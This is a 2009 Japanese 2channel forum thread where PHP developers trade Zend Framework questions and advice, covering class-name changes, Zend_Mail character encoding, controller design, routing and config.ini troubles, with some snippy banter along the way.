クラス名が変わっただけでてんぱってるなら、デザインパターン覚え立ての素人未満だな
>>164
常に適当に自作したクラスの静的メソッドから呼び出せばいいだけじゃん。
そんなことの何処が凄腕なの?
167nobodyさん:2009/05/16(土) 04:14:54 ID:???
全てのZend_xxxを自作クラスでラップしてるの?
凄腕というか無駄骨というか…一度コード見せて欲しいです><

最悪アダプタかませば良いと思ってる俺は素人ですねすみません。
168nobodyさん:2009/05/16(土) 11:02:40 ID:SaZzzxwN
Zend_Session使っているんだが

<?php
require_once 'Zend/Config/Ini.php';
$config = new Zend_Config_Ini('mySess.ini', 'development');

require_once 'Zend/Session.php';
Zend_Session::setOptions($config->toArray());

とっても便利だなぁ〜
169nobodyさん:2009/05/16(土) 11:39:53 ID:???
>>167
クラス名変わる程度で困ってる方が明らかに時間の無駄だろ。
ZFなんてクラス名どころかメソッド名変わったりもするし。
むしろクラス名変更で困っちゃうコードを見せてくれよ。
170nobodyさん:2009/05/16(土) 11:46:19 ID:???
そもそもZFで使うクラスなんて知れてるのに、
全てラップとか言ってる>>167はどんな頭してるんだろう
171nobodyさん:2009/05/16(土) 12:03:54 ID:???
>>168
Zend_Loader使えよ
172nobodyさん:2009/05/16(土) 15:29:41 ID:???
実装しやすくすることが目的なのに
特定の実装に拘るのが目的になるのは本末転倒だと思う
173nobodyさん:2009/05/16(土) 15:50:33 ID:???
全置換で何か問題ある?
174nobodyさん:2009/05/16(土) 15:53:04 ID:???
全置換で問題ない
秀丸とかEmacsとかでやってる奴は辛いんだろうけど
IDE使ってる奴は一発だからなどうせ
175nobodyさん:2009/05/16(土) 16:20:58 ID:???
>>174
わからんぞ。秀丸つかってる連中でも、全置換なんか外部ツールでも
PHPでスクリプト書いてでもできるし。

置換じゃ対応できないようなおかしなクラスの呼び出し方してんじゃない?
クラス名と全く同じ変数名つかってるとかw
176nobodyさん:2009/05/16(土) 16:35:27 ID:???
俺の場合、
Zend_Jsonはphp_json使用時SJISを正しく処理できない。
Zend_Pdfは昔日本語を処理できなかった。
Zend_Service_AmazonはDom使ってるせいで遅い。

これらの都合で拡張して使うのが当たり前になったわ。
一から作るよりはぜんぜん楽ではあるから、重宝してるけど。
177173:2009/05/16(土) 18:53:44 ID:???
>>174
そうか。全置換使ってるとよく恐くないか聞かれる。(何が??)
一応プレビュー通すし、ユニットテストあれば確認だし、万が一にも問題あれば(まあ無いけど)svnで戻すだけだしこれまで全然問題ない。
178nobodyさん:2009/05/16(土) 18:59:01 ID:???
全置換は秀丸でもEmacsでもできるし、スクリプトで色々できるけど、
プレビューして確認しながらOKしていく安心感はIDEじゃないと無理だからな。
まぁテキストエディタでも脳内構文チェックしてOKしてけばいいけどw
179nobodyさん:2009/05/16(土) 18:59:04 ID:???
>>168
require_once からの卒業〜
http://d.hatena.ne.jp/Bayside/20080513/p1
180nobodyさん:2009/05/16(土) 19:29:08 ID:???
>>170
単に>>166を皮肉りたかっただけです。
「常に適当に自作したクラスの静的メソッドから呼び出せばいいだけじゃん。」にカルチャーショックをうけました。
181nobodyさん:2009/05/16(土) 20:09:33 ID:???
>>179
ちょ
その記事、ZF 1.5.1 ?
最新の1.8.1ならZend_ApplicationのBootstrapでほぼ全自動だよ
DIコンテナだし
182nobodyさん:2009/05/16(土) 21:42:14 ID:dQ/L5rav
>>161発言への対応が面白い。
>>161 = >>166 はプロ
>>167は素人
ファクトリ以外でクラス名をハードコーディングする
馬鹿がいるのか。
183nobodyさん:2009/05/16(土) 21:57:21 ID:???
クラスによるだろ…Zend_SessionとかZend_ConfigとかZend_Registryとか、そのまま使う事も多いと思うが・・・。
たとえ数カ所の記述でも、プロジェクト数が増えると結構な影響がでる。

基本問題が無い限りFW自体をアップデートしねぇからいいけど。
184nobodyさん:2009/05/16(土) 22:53:41 ID:???
日本語が変です
185nobodyさん:2009/05/17(日) 03:08:16 ID:???
>>182
こういう決めつけ馬鹿ってメンバーにいると面倒だよな
186nobodyさん:2009/05/17(日) 03:10:46 ID:???
新しく入ったあいつ良く解ってないですよねー
打ち合わせであの用語のこと勘違いしてたじゃないですかー
みたいな感じかw
確かにいるな
187nobodyさん:2009/05/17(日) 07:45:17 ID:???
もしくはコード品質を気にしない日曜プログラマでしょw
複数人開発になれば、クラス名の変更がどれだけリスキーか一瞬で理解できると思うが・・・
188nobodyさん:2009/05/17(日) 09:07:03 ID:???
うーん、どっちもどっち
名前だけ変わるなんてことないでしょ。問題は振る舞いの変更

BCに縛られて停滞していったプロジェクトがいくつもあるからな。
変更を恐れるようならZFを使う意味ない。
アップデートのリズムが速すぎると感じるなら、ついていけないのは設計の問題。
189nobodyさん:2009/05/17(日) 09:55:38 ID:???
問題無く稼働している場合はFW自体をアップデートする必要無い
190nobodyさん:2009/05/17(日) 18:03:28 ID:???
>>187
日曜プログラマが複数人集まってりゃそうなるわな
191nobodyさん:2009/05/17(日) 18:47:27 ID:???
誰にも告げずにこっそり変更するならリスキーだけど
告知した上で影響範囲を調査して変更なんてのは仕事のプロジェクトでも普通にあることだろ
なんか危なさそうだから変な名前だけどそのまま置いておきましょうか?ってやって
あとで痛い目に遭うよかマシだぜ
192nobodyさん:2009/05/17(日) 23:14:17 ID:???
多人数だと結構あるけどな。
クラス名に綴りミスがあって、結構後から気付いたりとか。
でも修正に困ったことなんて無いけど。
変なクラス名を使い続けるよりはずっといいと思う。
193nobodyさん:2009/05/28(木) 19:56:38 ID:fG8WN6gS
Zend_Mail使ってみたんだけど、メールの文字化けが発生するらしい。
しかし、自分のメールアドレスに送ってみたけど、文字化け確認できず。
大至急、直せって言われてるんだけど、どこが原因だか、わからない。
同じ経験した人います?
194nobodyさん:2009/05/28(木) 20:16:38 ID:???
頻出だけど、ZFのバージョンはいくつ?
195nobodyさん:2009/05/28(木) 20:31:03 ID:???
送信文字コードや、MIMEタイプ、対象のメーラーあたりの情報が無いと何とも。
196nobodyさん:2009/05/28(木) 20:48:13 ID:fG8WN6gS
>>194-195
大変、失礼しました。
バージョンは最新の1.8系です。

送信文字コードはUTF-8で、MIMEタイプは未指定です。
対象メーラーはOEとThunderbirdです。
問題なのは、本番環境で自分のメールアドレス宛にいろいろメールを
送ってみたけど、全く、問題なかったこと。
文字化けしたと訴えてる人のメーラーもOEなので、わけわからん状態で。

197nobodyさん:2009/05/28(木) 21:25:19 ID:???
>>196
メーラーのバージョン、OSはどうなの
198nobodyさん:2009/05/28(木) 22:09:57 ID:???
Contant-type と Content-tranfer-type を指定すれ。
受信したメール本文を見て、ヘッダと内容がMIME的に正しいかチェックすれ。
199nobodyさん:2009/05/28(木) 22:34:59 ID:???
OutlookとOutlookExpressの区別がついてない人もいるからそこはもっと突っ込んで聞いておくべき

あとISO-2022-JPで送る方が無難だと思う
200nobodyさん:2009/05/28(木) 22:42:33 ID:fG8WN6gS
>>197
メーラーのバージョンはOE6.00.2900.180

>>198
Content-typeとContent-tranfer-typeを指定ってどうすればいいの?
MIME的に正しいかどう判断するんでしょう?
201nobodyさん:2009/05/29(金) 00:12:05 ID:???
>>200
自分のとバージョンも一緒ってこと?
202nobodyさん:2009/05/29(金) 04:14:28 ID:???
>>200
MIME系の知識はZFの範疇外、WEB PGとしての基礎知識なので追々学べばいいよ。

ただ具体的に何が文字化けしてるかわからないと、詳細な原因は特定できないよ。
件名?本文?半角カナ文字?

とりあえず、ヘッダとボディをBase64化してみれ。

Zend_Mail::setEncodingOfHeaders(Zend_Mime::ENCODING_BASE64);
Zend_Mail::setBodyText($txt, "utf-8", Zend_Mime::ENCODING_BASE64);
203nobodyさん:2009/05/29(金) 08:09:01 ID:???
setEncodingOfHeaders はdeprecated扱いなので代わりに
setHeaderEncodingを使ってちょ
204nobodyさん:2009/06/01(月) 12:02:39 ID:???
>>193
件名が長くなると化けるんじゃなかったっけ
もう修正されてたらごめん
ttp://nonn-et-twk.net/twk/node/155
205193:2009/06/01(月) 13:28:19 ID:VRCsDIyG
結局、原因はわからずでしたが、
$mail->setBodyText($body,"UTF-8")を
やってみたら、文字化け報告はなくなりました。

お騒がせしてすいません。
206nobodyさん:2009/06/01(月) 18:27:00 ID:???
原因がわからずでしたで済ませちゃうのか…PGとしては最低だな…。
MIMEの基礎から学んでこいや。
207nobodyさん:2009/06/01(月) 19:14:02 ID:VRCsDIyG
だって、ほとんどの環境で文字化け確認できないだもん。
社内向けのものだし、まぁ、いいんじゃね?みたいな。
で、一応、setBodyText($body,"UTF-8")でその人の文字化けも直ったしw
208nobodyさん:2009/06/02(火) 00:17:42 ID:???
次の質問予想

社内のサイボウズで文字化けします
どうしたらいいですか?
209nobodyさん:2009/06/02(火) 01:16:44 ID:???
まっとうなWEB PGなら、setBodyText($body,"UTF-8")で治った時点で原因が理解出来ると思うがなw
君はPGに向いていない、PGの能力の差は大抵がデバッグ能力の差だよ。

setBodyTextメソッドすら使いこなせてなかった時点で、素人以下ってのは明白だがw
210nobodyさん:2009/06/02(火) 01:40:06 ID:???
1.8の話題にしようぜ
人を叩くのは良くないですよ
211207:2009/06/02(火) 13:04:23 ID:IL6uVg+K
>>209
てへへw
212nobodyさん:2009/06/03(水) 10:05:42 ID:???
まあ、そんなカッカすんな。
取りあえず動けばいいって言う考え方はWEBなら悪くないと思うぜ。
213nobodyさん:2009/06/03(水) 22:14:24 ID:???
ゆとり世代はこえぇなぁ・・・
214nobodyさん:2009/06/03(水) 23:06:32 ID:???
とりあえず動くだけじゃ駄目だから
Webシステムは簡単にサイト落ちたりクラックされたりするんじゃないのか
215nobodyさん:2009/06/04(木) 03:00:03 ID:???
PHPは基礎知識なしでとりあえず動いちゃうからね・・・ゆとりの巣窟になるのも仕方無い。

と自分に言い聞かせている。
職場の部下だったら小一時間説教もんだけどw
216nobodyさん:2009/06/04(木) 14:55:40 ID:hOup5cX3
>>215
んな事言ってるおまえがひどいコード書いてるかもなw
217nobodyさん:2009/06/05(金) 16:57:04 ID:???
ひどくないコードってどんなコード?
218nobodyさん:2009/06/05(金) 20:52:18 ID:???
>>217
おまえの書くコードじゃね?
219nobodyさん:2009/06/07(日) 06:22:41 ID:???
画面遷移が多かったり、フォーム項目が多かったり、Controllerの処理が長くなりそうな時ってどうしてる?
ファイル分割したいんだけども、ZFに命名規約が無いから迷ってるんよ。
220nobodyさん:2009/06/07(日) 07:28:29 ID:???
それはもうプロジェクトの裁量で外に追いやっていくしかない
221nobodyさん:2009/06/07(日) 11:34:03 ID:???
ディレクトリ階層が複雑になると管理が面倒になりませんか?
controllersの中に適当に掘りまくっていいのかな…
222nobodyさん:2009/06/07(日) 11:39:35 ID:???
具体性がないから、何がしたいかわからないんだよな。

一応言っとく、
コントローラーは同一階層でのサブ化と、階層を掘ったサブ化で
コントローラー名の命名規則あるからね。
camelcaseでサブ化すると同一階層、_で区切るとディレクトリ
223nobodyさん:2009/06/07(日) 11:47:24 ID:???
クラスの命名規則はしってるよ。
リファレンス通りのディレクトリ構成で作った場合にコントローラ内の一部ロジックを外だしにしたいんだ。

たとえば、
IndexCotroller内の処理が冗長になりそうなので、一部のロジックを外部に出したい場合とかね。
224nobodyさん:2009/06/07(日) 11:55:35 ID:???
modelsがそれじゃないの?
225nobodyさん:2009/06/07(日) 12:09:19 ID:???
modelはもう少し汎用的なものなイメージがあるけど、それでいいのかな。
226nobodyさん:2009/06/07(日) 12:50:15 ID:???
他のコントローラや他のプロジェクトでも使うならアクションヘルパにするし
モノによってはプラグインにする。
Zendの規則に従わずに普通にライブラリディレクトリ作ってincludeしても
別におk。モデルにした経験は無いな。
227nobodyさん:2009/06/07(日) 12:50:24 ID:???
たとえば、どんなロジック?
228nobodyさん:2009/06/07(日) 16:54:10 ID:???
symfonyの場合はPeerメソッドにある程度突っ込んだりするけどな
229nobodyさん:2009/06/11(木) 14:08:50 ID:v8Ky+P1J
Actionのinitでエラーが発生したときエラーページに_forwardしてるんですが
すぐ処理が転送してくれません。

例えばController_Actionのメソッドとして、init(),とloginAction()
があるとします。
init()でDBの接続処理を行い、接続できなかったときにエラーページに
飛ばしたいのにloginActionが実行されてしまいます。
#_forwardにはreturn をつけて書いてます。
init()からすぐ別コントローラに飛ばすにはredirectじゃないとだめなんでしょうか
みなさんどうしてますか
230nobodyさん:2009/06/11(木) 14:46:49 ID:???
まず、_forwardとredirectは別ね。
で、おれなら、DB接続エラーはコントローラーにはハンドルさせないで例外を投げる。
initは初期化処理のみにしておけば、通常処理用のエラー処理は入ってこないはず。
が、どうしても、アクション前条件判定でエラーコントローラーに飛ばすなら、
preDispatchで_forwardする。
231nobodyさん:2009/06/14(日) 17:33:28 ID:???
1.8.3 使ってたら
exception 'Zend_Cache_Exception' with message 'cache_dir must be a directory' in /virtual/monabase/library_test/Zend/Cache.php:208
っていうのが出るようになったんですけど
キャッシュとか使わなくていいんで
どうにかなりませんか?
232nobodyさん:2009/06/14(日) 19:06:28 ID:???
どうにかしたかったら、backtraceぐらい晒してくれ。

おれは1.8.3だけどそんなエラー出ない。
233nobodyさん:2009/06/14(日) 19:48:51 ID:???
Zend_Locale::setCache();したら直った
Zend_Date使ってるのが影響したんだろうと思うんですけど
234nobodyさん:2009/06/16(火) 20:50:22 ID:hxQFGTlU
マニュアルの日本語化って今どうなっとるんです?
235nobodyさん:2009/06/16(火) 22:08:21 ID:???
>>234
あなたも翻訳に参加しよう

http://d.hatena.ne.jp/satoruyoshida/20090603/1244035139
236nobodyさん:2009/06/17(水) 12:14:05 ID:???
1.8.0からRADツールが追加されたと聞いてやってきました。

再度ZendFrameworkを触ってみようと思います。

皆さんよろしくお願いします。
237nobodyさん:2009/06/17(水) 13:55:51 ID:lVB38oSh
Zend Studio Serverはなくなったんでしょうか?
04WebServerとの組み合わせで使用していました。

今出ているZend Server?を試してみましたが、Apache前提みたいです。
238nobodyさん:2009/06/17(水) 17:22:47 ID:???
http://framework.zend.com/docs/quickstart/create-a-model-and-database-table
このページで

モデル→データマッパ→ZendDbTable
となってるんですが、

モデルやデータマッパをスクリプトから自動生成する機能はないんでしょうか?
239nobodyさん:2009/06/17(水) 21:25:41 ID:???
>>237
公式サポート窓口へドーゾ
240nobodyさん:2009/06/18(木) 20:04:08 ID:5iF8/wzr
最近zendfw始めたんですが、imgフォルダとかcssフォルダはどこに置いてどう管理したら良いんですか?
普通にdocumentroot以下に置いて、phtmlには src="/img/hoge.gif"とかすべき?
241nobodyさん:2009/06/18(木) 22:14:24 ID:???
>>240
管理し辛いとか、認証をかけたいとか、特別な理由が無い限りはそうなるかと。
242nobodyさん:2009/06/18(木) 23:20:18 ID:???
>>240
documentroot以下は同じだが、
俺も最初はそのsrc=のように絶対指定していたのだけど、
<base href="http://www.example.com/..../" />
ってして、相対指定にした。
でないと、開発環境と本番環境の相違を吸収しにくい。
baseタグなんてそれまで使ったことなかったから、すっかり忘れていたわ。
243nobodyさん:2009/06/19(金) 00:54:44 ID:???
>>241,242
ありがとうございます
>>242
そのbaseタグ使う方法良さそうですね
もしくは基準のパスを定数でもたせるのも変更時便利かもしれない
ありがとうございました
244nobodyさん:2009/06/19(金) 11:55:12 ID:DHeb1GYG
ValidatorのStringLengthって文字数じゃないのね
UTF8だと日本語が思いっきり3でカウントされる
245nobodyさん:2009/06/19(金) 12:16:16 ID:???
エンコード設定すれば?
246nobodyさん:2009/06/20(土) 13:15:25 ID:???
www.hoge.com/にあるリンクタグが<a href="/sample">リンク</a>ってなってるとき、
これはsampleコントローラ中のindexアクションを実行するわけで、
そのときブラウザのURL欄は www.hoge.com/sampleになるわけですよね?

どういうわけか、クリックしても www.hoge.com/に戻って来てしまいます。
どんな原因が考えられますか? 

なお、sampleコントローラ中のindexアクションには、こういう結果を出すリダイレクト処理は
書いてありません。(単純に、helloを表示するだけです)
www.hoge.com/の.htaccessは
RewriteEngine on
RewriteBase /
RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php です
何が原因でしょうか、情報不足かもしれないですが、よろしくお願いします
247nobodyさん:2009/06/20(土) 13:17:33 ID:sayu7hyr
しまった、、あげさせてもらいます
すみません
248246:2009/06/20(土) 13:56:55 ID:sayu7hyr
今確認したところ、indexコントーローラ中のhogeアクションは実行できます
→ www.hoge.com/index/hoge/ は表示する
別のアクションコントローラを表示できないようです
なぜだろう。。
249nobodyさん:2009/06/20(土) 17:52:12 ID:???
/sample/index

でアクセスした場合はどう?
250246:2009/06/20(土) 18:03:33 ID:sayu7hyr
>>249
ご回答ありがとうございます
試してみましたがダメでした。以下変でしょうか?

SampleControllerの中身は
<?php
require_once 'Zend/Controller/Action.php';
class IndexController extends Zend_Controller_Action{
public $aisatsu = "hehehe";
public function init(){ //通常のクラスの __construct()に該当します
echo "これはsampleです";
}
public function indexAction(){
$this->view->result = $this->aisatsu;
} //不要な場合は、メソッドの中は空でも構いません
}

view用ファイルは
views/scripts/sample/index.phtmlがあります
251nobodyさん:2009/06/20(土) 18:08:33 ID:???
クラス名がIndexControllerになってるけどもw
252246:2009/06/20(土) 18:15:23 ID:???
>>251
うああああああ!!
大変失礼しました!できた、感動した!
253nobodyさん:2009/06/22(月) 13:48:28 ID:???
Smarty組み込んで利用してるんだけど、{foreach}が使えない。そういうもん?
254nobodyさん:2009/06/22(月) 13:55:24 ID:???
お前は何を言ってるんだ
http://smarty.net/foreach
255nobodyさん:2009/06/22(月) 15:51:12 ID:???
>>253
http://www.php-seed.net/blog/archives/370
こういう問題でもなく?
256nobodyさん:2009/06/23(火) 17:52:02 ID:fbX2StFR
質問です、以下のコードをindexController.phpで実行すると
「自動転送がループしています」と出ます
<?php
require_once 'Zend/Controller/Action.php';
require_once 'Zend/Config/Ini.php';
$config = new Zend_Config_Ini('config.ini',null);

class IndexController extends Zend_Controller_Action{
public function init(){ //通常のクラスの __construct()に相当
// $dbConnect = new dbConnect();
}
public function indexAction(){
$this->view->result = $this->aisatsu;
}
}

require_once('Zend/Config/Ini.php');と$config = new Zend_Config_Ini('config.ini',null);を
コメントアウトすれば動いてviewの表示まで行ってくれるんですが、なぜ上記の2行が
問題なのかがわかりません。
apacheのエラーログには何も出ません。すみませんがアドバイスお願いします。
ZFWは1.83、apacheは2、phpは5.2.6、OSはcentOS5.3です
257nobodyさん:2009/06/23(火) 22:49:32 ID:U9kBq3jC
異なったコントローラで同一のZend_Formを持ち回りたいんだけど何か良い方法ありませんか?
Bootstrapに入れるのは何か違う気がして、、
258nobodyさん:2009/06/23(火) 22:52:11 ID:???
ZendRegistryは?
259nobodyさん:2009/06/23(火) 23:19:57 ID:U9kBq3jC
レジストリに入れるのもブートストラップ的なところに記述する感じになるのがちょっと

他のコントローラの関数を参照する関数があればいいんですが
IndexControllerから
TestController::getForm()を参照したいです
260256:2009/06/23(火) 23:33:48 ID:fbX2StFR
256ですが、どういう問題か教えてもらえないでしょうか?
ZendFW以前の問題で話になんね、って感じなんでしょうか?
それならそれで、ご指摘いただけると有り難いです。
一方的にすみませんがよろしくお願いします
261nobodyさん:2009/06/24(水) 00:46:07 ID:???
>>260
そのコードだけじゃ情報が足りなさすぎる。

config中にルータの設定とか書いて無い?
一度config.iniを空っぽにして試してみれ。
262256:2009/06/24(水) 03:05:26 ID:lk5E+v4f
>>261
ありがとうございます。config.iniが原因とは思いませんでした
なかで、データベース接続情報を書いていたんですが、
パスワードに ! を含んでいて、これが原因だったようです(消したら動きました)
!は使えないってことでしょうか、とりあえずPW変更して対応します。。
263nobodyさん:2009/06/24(水) 08:41:21 ID:???
264nobodyさん:2009/06/24(水) 13:55:46 ID:???
>>259
なら、static関数にすればええがな。
265nobodyさん:2009/06/27(土) 11:34:29 ID:LkjCp9rV
Zend_AuthのマスタにXMLって使えないの?
266nobodyさん:2009/06/27(土) 19:24:02 ID:62AeSP23
viewのテンプレートをクライアントにFTPで直接アップできるようにしてるんですが、
関数は使えないようにしたいと思います。
なんか良い方法ないですか?
267nobodyさん:2009/06/27(土) 21:59:13 ID:???
情報ツウは得をする!
⇒ 情報サイト http://sho-zai.com/index.html
268nobodyさん:2009/06/29(月) 14:25:46 ID:???
zend_dojoを使って作成したボタンの幅を変更ってできる?
269nobodyさん:2009/06/29(月) 14:28:17 ID:dN5c2Pu7
CSS使えば良いんとちゃいますのん?
270nobodyさん:2009/06/29(月) 14:46:32 ID:???
echo $this->button(
'foo',
'',
array(
'label' => 'bar',
'style' => 'width:150px',
)
);

こんな感じで幅を指定できないかなと思ったのですが、できません?
271nobodyさん:2009/06/29(月) 17:11:46 ID:???
Zend_Dojoを使う利点ってあるのか?
272nobodyさん:2009/06/29(月) 19:08:49 ID:???
別に
273nobodyさん:2009/06/29(月) 22:04:00 ID:???
Controller側からJavaScript操作するってのが、よくわからん。
普通に書けばええがな。
274nobodyさん:2009/06/29(月) 23:31:03 ID:???
>>265
Adapterを作ればOK。

>>266
Zend_Viewでは実質不可能。
Smartyなりのテンプレートエンジンの導入を。
275nobodyさん:2009/06/30(火) 10:36:03 ID:AIJgPj0k
皆さんSMARTYと併用してる?
276nobodyさん:2009/06/30(火) 16:00:28 ID:???
Zend_Log_Writer_Dbでログを保存したいんだが、日付をdateフィールドに保存したい。
どうすればいい?
277nobodyさん:2009/06/30(火) 16:06:01 ID:???
columnMappingでそのカラム名日付のキー名を対応させれば?
278nobodyさん:2009/06/30(火) 18:49:48 ID:???
>>277
ありがとう。おかげで解決した。
logに項目追加できるってのもわかったよ。
279nobodyさん:2009/06/30(火) 20:57:51 ID:???
次からはマニュアル読んでからおいで
280nobodyさん:2009/07/02(木) 01:17:44 ID:???
キャッシュについて聞きたいんですが、
DBからデータを取得してきて、それをキャッシュに保存したりしますよね?

ページング処理にZend_Paginaterを使ってるんですけど、そのpaginaterオブジェクトも
キャッシュとして保存するものですか?

普通はどうしてるんでしょう?

281nobodyさん:2009/07/02(木) 01:58:48 ID:???
DBへの問い合わせ結果をキャッシュするのが粒度的に使いやすいと思う
大抵、ボトルネックになるのはDBだし
Webはスケールアウトすればいいじゃん、的な
282nobodyさん:2009/07/02(木) 03:28:49 ID:???
横レスだけど、やっぱその場合って更新頻度の低い
マスターとかになるんですかね?
283nobodyさん:2009/07/03(金) 02:02:06 ID:???
口コミサイト作りたいです
どうすればいいですか?
284nobodyさん:2009/07/03(金) 04:37:06 ID:???
285nobodyさん:2009/07/04(土) 17:45:54 ID:???
Zend_Db_Rowsetの$rowset->count()使ってるけど、これって
全データを配列にぶっこんでから、カウントしてくれるだけだよね?
こういうのってPHPのパフォーマンス的にどうなの?

ちゃんと、count(*)関数使ったSQLで取得した方が良いの?
286nobodyさん:2009/07/04(土) 17:55:34 ID:???
ZFは開発効率重視だから
そういうアホみたいな処理が多い
287nobodyさん:2009/07/04(土) 18:10:48 ID:???
>>285
自分はcount(*)で取得してる。
パフォーマンスは比べるまでもなく、じゃね?(実測した訳じゃないけど)
288nobodyさん:2009/07/04(土) 19:01:27 ID:???
全データ、配列ってことはないよ。
結果セットからrowcountとってるから、count以外に使う必要があるようなモデルであれば
Zend_Db_Rowsetで問題なし。
もし、countだけ欲しければ、count(*)でいい。
289nobodyさん:2009/07/04(土) 19:38:55 ID:???
↑すまん。忘れて
290nobodyさん:2009/07/05(日) 22:33:37 ID:jApqmo0w
ルーターでコントローラでなく画像ファイルを
指定したいんですがなにか方法はありますか?
291nobodyさん:2009/07/05(日) 22:49:24 ID:???
それはZFの管理外にしちゃった方がいいんじゃない?
292nobodyさん:2009/07/06(月) 02:41:57 ID:???
俺は拡張子というかサフィックスのないリクエストだけ
mod_rewriteの対象にしてるなぁ
293nobodyさん:2009/07/06(月) 06:57:58 ID:AIqh19Fa
>>291
>>292
ドキュメントルート上にないファイルなので困っています。
なければコントローラ経由で出力します
294nobodyさん:2009/07/06(月) 07:02:45 ID:???
ん?
ドキュメントルート上になくても、mod_rewriteでもAliasでもいいやん
295nobodyさん:2009/07/06(月) 07:04:29 ID:???
そうでなきゃ、Zendのルートで画像指定じゃなくて
画像を送出するコントローラーを書けばいい。
296nobodyさん:2009/07/06(月) 14:51:05 ID:???
View側でframeつかえますか?
どうしても画面を分割したいのですが・・・
普通できますよね?
297nobodyさん:2009/07/06(月) 14:53:10 ID:Ixa1CqYv
そりゃ使えるでしょ、やったことないけど
その場合はコントローラが3つになるんだろね
298nobodyさん:2009/07/06(月) 15:00:52 ID:???
Action三つ or パラメータでViewScriptを変えるだけで対応出来るのでは。
299nobodyさん:2009/07/06(月) 23:17:03 ID:???
わざわざ使い肉いフレーム分割なんてやめろ
考えなおせ
300nobodyさん:2009/07/06(月) 23:18:55 ID:???
まったくだ。考え直せ。
301nobodyさん:2009/07/07(火) 04:09:51 ID:???
SEO不必要な管理画面系は、場合によってはフレーム分割も有りだと思う俺は異端児なの?
302nobodyさん:2009/07/07(火) 06:35:31 ID:???
レイアウトで共通化できるのに、フレームワーク使う意味がわからん。
303nobodyさん:2009/07/07(火) 06:49:20 ID:???
フレームワークなのにフレーム使えないのかよというダジャレの悪寒
304nobodyさん:2009/07/07(火) 11:24:49 ID:???
>>302
まずはフレームとフレームワークの区別をつけような、坊や。
305nobodyさん:2009/07/07(火) 17:54:40 ID:???
viewの持つ変数をview helperから使う事はできますか?
また、できる場合、どう参照すればよろしいでしょうか?
306nobodyさん:2009/07/07(火) 18:02:51 ID:???
自己解決しました。
$this->view->foo;
307nobodyさん:2009/07/07(火) 20:55:21 ID:dsERj2eF
User Paramの指定方法ですが、
example.com/controller/action/name/value

ではなくaction == indexとして省略して
example.com/controller/name/value

のように指定する方法はありますか?
後者だとnameActionを探しに行ってしまいます
308nobodyさん:2009/07/08(水) 13:32:23 ID:???
309nobodyさん:2009/07/08(水) 23:27:36 ID:5XpF0jdH
現在のコントローラから他のコントローラの関数(アクションではない)を実行する方法ってありますか?

_forwardのようにそのアクションを呼び出すのではなく、関数の返り値が欲しいです。
310nobodyさん:2009/07/08(水) 23:50:56 ID:???
require して new して 呼び出せばいいんでない?
311nobodyさん:2009/07/09(木) 00:12:48 ID:JLJTWxg2
なんかメソッドがあればよかったんですがないようですね
312nobodyさん:2009/07/09(木) 00:18:29 ID:???
作ればいいんでね?
313nobodyさん:2009/07/10(金) 17:30:13 ID:???
>>309
ビューヘルパーのaction使えばできるんじゃね?

で、デレツン行っていいかな。
コントローラーからコントローラーを直接呼ぶとか、
ビューからコントローラー呼ぶとか、キモイこと考えんなやw

コントローラーを呼ぶときはdispatcherとリクエスト使いましょう。
314nobodyさん:2009/07/10(金) 18:12:04 ID:???
てかさ、コントローラではどのビューとモデルを使うか決めて処理を移すようにしないと
無駄に太り見通しが悪くなって苦労するよね、今の俺みたいに(´・ω・`)
ついつい、このコントローラ共通の処理だからと、アクションじゃないメソッドを増やしちゃうが...
315nobodyさん:2009/07/10(金) 18:19:43 ID:???
俺も似たような感じだなぁ
最近、やっとわかってきたけど。
316nobodyさん:2009/07/10(金) 18:44:08 ID:xlLyB0Yi
>>313
SearchActionなんてのにZend_Formを返すgetForm()なんてのがあるとします。
IndexControllerからそのフォームをトップページで表示したい場合はどうすれば良いんですか?

何かおかしいこと言ってますか?
317316:2009/07/10(金) 18:45:31 ID:xlLyB0Yi
SearchActionではなくSearchControllerです。
318nobodyさん:2009/07/10(金) 18:56:13 ID:???
SearchControllerにgetFormメソッドがあるってこと?
だったらそれがそもそもおかしい。
319nobodyさん:2009/07/10(金) 19:40:01 ID:???
>>316
BaseControllerに実装するか、ヘルパーにするか、切り出して別途ライブラリにすれ。
320nobodyさん:2009/07/10(金) 21:24:14 ID:???
>>316
ZFだと、formsっていうところにモジュール別のフォームを集めておくのがデフォ。
IndexControllerで検索フォームを使いたいなら、IndexControllerのgetFormで、
それをインスタンス化するという簡易的な手もある。
getForm('search')とか。まぁ、しかしそりゃ汚くなる。
ヘルパーかプラグインリソース(Zend_Application)にするところだろうな。
321316:2009/07/10(金) 23:25:57 ID:xlLyB0Yi
>>318
何がおかしいんでしょうか。
xxActionしか内部に作っちゃいけないなんて言う制約ありません。use-at-willです。
codezineだかのサンプルにもそういった実装がありました。

>>319
helperですか。。
ちょっと考えてみます。

>>320
formsのあたりをもう少し詳しくお聞きしたいです。
static functionとしてgetForm()を定義することも考えましたが、
$thisを使いたい場面もあり、それはあきらめました。

Zend_Applicationで大半のことはやっていますが、
使わないコントローラに対してもフォーム分のメモリを確保するのはどうかなぁと思ってしまいます。
ある程度の規模のサーバーで運用していますが、ZF自体が膨大ですのでできるだけいらない処理は省きたいのです。

322nobodyさん:2009/07/10(金) 23:30:40 ID:???
>>321
コントローラに実装しなきゃいいだろ
お前は何を言ってるんだ
323nobodyさん:2009/07/10(金) 23:35:55 ID:???
>>321
>xxActionしか内部に作っちゃいけないなんて言う制約ありません。use-at-willです。

制約ではなく、設計を指摘してるのでしょう。
他から参照されるメソッドをSearchControllerに定義する事自体がおかしい、と。
324316:2009/07/10(金) 23:46:24 ID:xlLyB0Yi
>>322
ならそう書いてください。
2行目は余計です。

>>323
検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、
他のコントローラで参照することを考えれば分けた方が良いかもしれませんね。
もしくは出力されるフォームのHTMLだけを直接Viewに書いちゃうかどっちかですかね。
325nobodyさん:2009/07/11(土) 00:43:24 ID:???
うざ・・
326nobodyさん:2009/07/11(土) 00:57:28 ID:???
>>324
> 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、

全然自然じゃない。

> 他のコントローラで参照することを考えれば分けた方が良いかもしれませんね。

他のコントローラから参照されることがなくても自然じゃない。

> もしくは出力されるフォームのHTMLだけを直接Viewに書いちゃうかどっちかですかね。

「どっちか」って「フォームHTMLだけViewに」とどれ?
ZFって一応MVCモデルのフレームワークってことなんだけどね。
327nobodyさん:2009/07/11(土) 01:07:14 ID:???
自由度が高そうに見えるけど実際にはZendが想定してる使い方があって、
